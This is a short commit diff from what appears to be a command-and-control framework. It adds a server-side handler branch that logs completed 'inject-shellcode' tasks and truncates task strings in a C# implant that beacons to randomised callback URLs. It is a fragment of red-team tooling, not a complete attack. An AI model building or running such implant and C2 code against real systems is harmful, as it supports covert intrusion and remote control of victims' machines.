Truncate the inject-shellcode command
parent
a58cdd8415
commit
b4f994e300
|
@ -254,6 +254,9 @@ class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
|
|||
elif (decCookie.lower().startswith("$shellcode64")) or (decCookie.lower().startswith("$shellcode64")):
|
||||
insert_completedtask(RandomURI, decCookie, "Upload shellcode complete", "")
|
||||
print ("Upload shellcode complete")
|
||||
elif (decCookie.lower().startswith("run-exe core.program core inject-shellcode")):
|
||||
insert_completedtask(RandomURI, decCookie, "Upload shellcode complete", "")
|
||||
print ("Inject shellcode complete")
|
||||
elif "download-file" in decCookie.lower():
|
||||
try:
|
||||
rawoutput = decrypt_bytes_gzip(encKey, (post_data[1500:]))
|
||||
|
|
|
@ -507,6 +507,9 @@ public class Program
|
|||
URL = stringnewURLS[rnd.Next(stringnewURLS.Length)];
|
||||
G = (Guid.NewGuid()).ToString();
|
||||
URL = baseURL+"/"+URL+G+"/?"+RandomURI;
|
||||
if (tasksrc.Length > 200) {
|
||||
tasksrc = tasksrc.Substring(0,199);
|
||||
}
|
||||
string task = Encryption(Key, tasksrc);
|
||||
string coutput = Encryption(Key, output, true);
|
||||
byte[] outputBytes = System.Convert.FromBase64String(coutput);
|
||||
|
|
Loading…
Reference in New Issue